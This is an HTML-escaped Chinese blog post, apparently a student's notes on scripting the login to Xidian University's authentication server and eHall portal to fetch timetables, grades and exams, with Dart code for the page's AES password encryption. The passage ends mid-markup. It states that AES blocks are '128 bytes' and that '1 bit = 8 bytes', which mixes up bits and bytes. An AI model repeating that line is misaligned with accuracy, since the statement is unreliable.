id=\"关于如何使用西电一站式服务大厅\"\u003e关于如何使用西电一站式服务大厅\u003c/h1\u003e\n\u003cp\u003e好吧,这个假期闲得慌想用 Flutter 把电表重写了(毕竟本人能力很差,就很容易瞎想)。目前开发还是没个身影,但是我感觉,我把核心功能给写出来了,就差套个壳。我觉得,核心功能就是从学校服务器上当下来我需要的数据。根据\u003ca class=\"link\" href=\"https://github.com/BenderBlog/watermeter\" target=\"_blank\" rel=\"noopener\"\u003e我项目的简介\u003c/a\u003e,应该是开发完大半了。\u003c/p\u003e\n\u003cp\u003e但是呢,鉴于本人的鸽子属性,我感觉我得在我将来大概率弃坑之前,留点材料,以方便将来有比我更无聊,更疯狂的人来完成他心目中的电表。\u003c/p\u003e\n\u003ch2 id=\"关于我校一站式服务大厅\"\u003e关于我校一站式服务大厅\u003c/h2\u003e\n\u003cp\u003e我们学校的一站式服务大厅是由南京金智教育开发的,而且很多学校都用这个系统。所以,接下来的部分,感觉很多同志们都能适用。\u003c/p\u003e\n\u003cp\u003e我们学校的一站式大厅有很多功能,不过其中仅仅有很少的一部分我们能用。我感觉平常使用最多的就是:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e课表\u003c/li\u003e\n\u003cli\u003e成绩查询\u003c/li\u003e\n\u003cli\u003e考试安排\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e而我们平常要使用一站式(或者其他东西,比如健康报告)的话,一般都要先登陆统一认证平台,之后才能进入一站式。而这个统一认证平台,也是金智的:-P\u003c/p\u003e\n\u003ch2 id=\"提前说明\"\u003e提前说明\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003e以下使用的语言是 Dart,编写 Flutter 应用的语言。个人觉得还算好理解吧……\u003c/li\u003e\n\u003cli\u003e下面步骤,会多次出现本人故意暂停跳转情况发生。因为我发现,要是自动跳转,可能 Cookie 会存不下来,要是 python 的 request 库就没有这个问题。\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"如何登陆统一认证平台\"\u003e如何登陆统一认证平台\u003c/h2\u003e\n\u003ch3 id=\"工具\"\u003e工具\u003c/h3\u003e\n\u003cp\u003e根据 \u003ca class=\"link\" href=\"https://github.com/xdlinux/xidian-scripts\" target=\"_blank\" rel=\"noopener\"\u003exidian-script\u003c/a\u003e 姐妹计划 \u003ca class=\"link\" href=\"https://github.com/xdlinux/libxduauth\" target=\"_blank\" rel=\"noopener\"\u003elibxduauth\u003c/a\u003e 所说,登陆所需要的工具如下:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003eCookie Jar。\u003c/li\u003e\n\u003cli\u003e网络传输工具,其中需要设置 \u003ccode\u003eapplication/x-www-form-urlencoded\u003c/code\u003e 来传输参数。\u003c/li\u003e\n\u003cli\u003e网页分析工具,比如大名鼎鼎的 BeautifulSoup 库。\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch3 id=\"操作步骤\"\u003e操作步骤\u003c/h3\u003e\n\u003ch4 id=\"获取登陆网页\"\u003e获取登陆网页\u003c/h4\u003e\n\u003cp\u003e向 \u003ca class=\"link\" href=\"http://ids.xidian.edu.cn/authserver/login\" target=\"_blank\" rel=\"noopener\"\u003ehttp://ids.xidian.edu.cn/authserver/login\u003c/a\u003e 发送 GET 请求,其中请求参数是:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-json\" data-lang=\"json\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026#34;service\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"err\"\u003e接下来要访问的网址\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026#34;type\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;userNameLogin\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e如果正常,会返回登录网页。\u003c/p\u003e\n\u003cp\u003e将登陆网页交给网页分析工具,让他找到网页中 id 为 pwdFromId 的元素们,这里记为 form:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-Dart\" data-lang=\"Dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e/// Import \u0026#39;package:beautiful_soup_dart/beautiful_soup.dart\u0026#39; before use.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"n\"\u003epage\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eBeautifulSoup\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eresponse\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"n\"\u003eform\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003epage\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003efind\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;form\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"nl\"\u003eattrs:\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;id\u0026#34;\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;pwdFromId\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch4 id=\"检查是否需要验证码\"\u003e检查是否需要验证码\u003c/h4\u003e\n\u003cp\u003e向 \u003ca class=\"link\" href=\"http://ids.xidian.edu.cn/authserver/checkNeedCaptcha.htl\" target=\"_blank\" rel=\"noopener\"\u003ehttp://ids.xidian.edu.cn/authserver/checkNeedCaptcha.htl\u003c/a\u003e 发送 GET 请求,请求参数是\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-json\" data-lang=\"json\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026#34;username\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"err\"\u003e填入你的学号\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026#34;_\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"err\"\u003e目前时间戳\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e查看返回值中有没有 \t\u003ccode\u003etrue\u003c/code\u003e 。\u003c/p\u003e\n\u003cp\u003e如果需要填入验证码的话,向 \u003ca class=\"link\" href=\"http://ids.xidian.edu.cn/authserver/getCaptcha.htl\" target=\"_blank\" rel=\"noopener\"\u003ehttp://ids.xidian.edu.cn/authserver/getCaptcha.htl\u003c/a\u003e 获取验证码图片,请求参数是\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-json\" data-lang=\"json\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e \u003cspan class=\"err\"\u003e目前时间戳:\u003c/span\u003e \u003cspan class=\"nt\"\u003e\u0026#34;\u0026#34;\u003c/span\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch4 id=\"加密密码\"\u003e加密密码\u003c/h4\u003e\n\u003cp\u003e首先,我们需要填充密码。这里我们使用 PKCS7 填充方式。我的程序自己实现了,因为没看明白 Dart 里面 PKCS7 咋用的:-(:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e由于加密方式是 AES,要求分组长度是 128 bytes,根据 1 bit = 8 bytes,需要字符串长度是 16 的倍数。\u003c/li\u003e\n\u003cli\u003e先在密码字符串前面插上 xidianscriptsxdu 四遍(正好是 16 长的字符串,Dart 默认给的是随机字符串),然后将字符串转换成 int 数组(也就是把每个字符转换成对应的 ASCII 码)。\u003c/li\u003e\n\u003cli\u003e然后计算我们还需要在后面插入多少元素来满足 16 的倍数,差几个在后面插入几个。插入内容为插入元素的个数。注意,要是一个都不差,也得插入数据,来保证数据和插入值都存在。\u003c/li\u003e\n\u003cli\u003e由于接下来加密需要的是数字数组,所以不变回字符串。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e然后,从 form 里面寻找 input 标签,且 id 为 pwdEncryptSalt 的元素,这里面是加密密码的密钥(还是盐啥的)。最后,使用 AES-CBC 算法加密,然后返回字符串。\u003c/p\u003e\n\u003cp\u003e上述步骤的具体代码如下:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-Dart\" data-lang=\"Dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e/// Get base64 encoded data. Which is aes encrypted [toEnc] encoded string using [key].\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e/// Padding part is copied from libxduauth\u0026#34;s idea.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e/// Import \u0026#34;package:encrypt/encrypt.dart\u0026#34; before use.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"n\"\u003eaesEncrypt\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"n\"\u003etoEnc\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"n\"\u003ekey\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003edynamic\u003c/span\u003e \u003cspan class=\"n\"\u003ek\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eKey\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003efromUtf8\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ekey\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"n\"\u003ecrypt\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eAES\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ek\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nl\"\u003emode:\u003c/span\u003e \u003cspan class=\"n\"\u003eAESMode\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ecbc\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nl\"\u003epadding:\u003c/span\u003e \u003cspan class=\"kc\"\u003enull\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e/// Start padding\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eblockSize\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"m\"\u003e16\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eList\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003edataToPad\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"p\"\u003e[];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003edataToPad\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eaddAll\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eutf8\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eencode\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;xidianscriptsxduxidianscriptsxduxidianscriptsxduxidianscriptsxdu\u003c/span\u003e\u003cspan class=\"si\"\u003e$\u003c/span\u003e\u003cspan class=\"n\"\u003etoEnc\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e));\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003epaddingLength\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eblockSize\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e \u003cspan class=\"n\"\u003edataToPad\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003elength\u003c/span\u003e \u003cspan class=\"o\"\u003e%\u003c/span\u003e \u003cspan class=\"n\"\u003eblockSize\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003epaddingLength\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003edataToPad\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eadd\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003epaddingLength\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"n\"\u003ereadyToEnc\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eutf8\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003edecode\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003edataToPad\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e/// Start encrypt.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003eEncrypter\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ecrypt\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eencrypt\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ereadyToEnc\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nl\"\u003eiv:\u003c/span\u003e \u003cspan class=\"n\"\u003eIV\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003efromUtf8\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;xidianscriptsxdu\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ebase64\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch4 id=\"发送登陆报文\"\u003e发送登陆报文\u003c/h4\u003e\n\u003cp\u003e首先,构建登陆请求所需要的头。初步需要三个信息:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eusername:你的学号\u003c/li\u003e\n\u003cli\u003epassword:加密过的密码\u003c/li\u003e\n\u003cli\u003erememberMe:防止之后又走一遍登陆过程\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e在此之后,我们需要寻找很多预配置的头,加入到我们的头中。这些元素都在 form 中,是 input 标签 ,参数是 \u003ccode\u003etype=hidden\u003c/code\u003e 。循环将其插入到请求头中。\u003c/p\u003e\n\u003cp\u003e最后,向 \u003ca class=\"link\" href=\"http://ids.xidian.edu.cn/authserver/login\" target=\"_blank\" rel=\"noopener\"\u003ehttp://ids.xidian.edu.cn/authserver/login\u003c/a\u003e 发送 POST 请求,其中请求头是上面搞过的请求头,请求参数是 \u003ccode\u003e{\u0026#34;service\u0026#34;: 接下来要访问的网址}\u003c/code\u003e ,请求不要自动跳转。\u003c/p\u003e\n\u003cp\u003e如果正常,ids.xidian.edu.cn 下面的 Cookie 会多一个 \u003ccode\u003ehappyVoyagePersonal=...; Path=/personalinfo\u003c/code\u003e。然后需要我们自己向需要跳转的新网址发 GET 请求,同样,不需要自动跳转。\u003c/p\u003e\n\u003cp\u003e到此,通过统一认证平台,我们登陆了一站式服务大厅。\u003c/p\u003e\n\u003ch2 id=\"使用一站式服务大厅\"\u003e使用一站式服务大厅\u003c/h2\u003e\n\u003cp\u003e首先给个表格:\u003c/p\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth\u003e应用名称\u003c/th\u003e\n\u003cth\u003e内部序号(appID)\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd\u003e课表\u003c/td\u003e\n\u003ctd\u003e4770397878132218\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e成绩\u003c/td\u003e\n\u003ctd\u003e4768574631264620\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e考试安排\u003c/td\u003e\n\u003ctd\u003e4768687067472349\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e个人信息\u003c/td\u003e\n\u003ctd\u003e4585275700341858\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003ch3 id=\"如何进入应用\"\u003e如何进入应用\u003c/h3\u003e\n\u003col\u003e\n\u003cli\u003e验证是否登录。向 \u003ca class=\"link\" href=\"http://ehall.xidian.edu.cn/jsonp/userFavoriteApps.json\" target=\"_blank\" rel=\"noopener\"\u003ehttp://ehall.xidian.edu.cn/jsonp/userFavoriteApps.json\u003c/a\u003e 发送 GET 请求,查看返回的数据中,hasLogin 是否为 true。如果没登录,则需要登录。登陆需要的 target 是 \u003ca class=\"link\" href=\"http://ehall.xidian.edu.cn/login?service=http://ehall.xidian.edu.cn/new/index.html\" target=\"_blank\" rel=\"noopener\"\u003ehttp://ehall.xidian.edu.cn/login?service=http://ehall.xidian.edu.cn/new/index.html\u003c/a\u003e。\n一站式登录成功的话,ehall.xidian.edu.cn 下面的 Cookie 会多一个 \u003ccode\u003eMOD_AUTH_CAS=MOD_AUTH_ST-...; path=/;\u003c/code\u003e。\u003c/li\u003e\n\u003cli\u003e请求访问应用。向 \u003ccode\u003ehttp://ehall.xidian.edu.cn/appShow\u003c/code\u003e 发送 GET 请求,其中请求参数是 \u003ccode\u003e{\u0026#34;appId\u0026#34;: 要访问应用的内部序号}\u003c/code\u003e,header 追加参数如下:\u003c/li\u003e\n\u003c/ol\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-json\" data-lang=\"json\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"nt\"\u003e\u0026#34;Accept\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003col start=\"3\"\u003e\n\u003cli\u003e暂停自动跳转请求,截断下来要跳转的网址,去相应函数请求,如果那个功能必要的话。\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch3 id=\"提前说明第二发\"\u003e提前说明第二发\u003c/h3\u003e\n\u003cp\u003e发送信息中如包含学期信息之情况,按照如此处理:\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e2022-2023-1 == 2022-2023 学年第一学期\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e虽然是可以通过请求得到学期数据,不过有的地方,我打算自己算。所以如有对应需求,请查看 xidian-script 代码。\u003c/p\u003e\n\u003ch3 id=\"获取成绩学校想让你看到的\"\u003e获取成绩(学校想让你看到的)\u003c/h3\u003e\n\u003cp\u003e一会再告诉大家为啥是\u0026#34;学校想让你看到的\u0026#34;。先给大家介绍原理。\u003c/p\u003e\n\u003ch4 id=\"获取数据\"\u003e获取数据\u003c/h4\u003e\n\u003cp\u003e在获取数据前,还记得那个要跳转的网址吗?你一定要给那个网址发个 GET 请求,要不然,接下来的步骤报错 403 未授权。\u003c/p\u003e\n\u003cp\u003e实际上这玩意本质上,就是向 \u003ca class=\"link\" href=\"http://ehall.xidian.edu.cn/jwapp/sys/cjcx/modules/cjcx/xscjcx.do\" target=\"_blank\" rel=\"noopener\"\u003ehttp://ehall.xidian.edu.cn/jwapp/sys/cjcx/modules/cjcx/xscjcx.do\u003c/a\u003e 发送 POST 请求。不过发送的请求数据,要看情况。\u003c/p\u003e\n\u003cp\u003e首先说的是一个共有的请求数据,如下:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-json\" data-lang=\"json\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026#34;name\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;SFYX\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"c1\"\u003e//是否有效\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nt\"\u003e\u0026#34;value\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;1\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026#34;linkOpt\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;and\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026#34;builder\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;m_value_equal\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e然后,如果你想查看某个学期的数据,还需要追加以下请求数据:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" 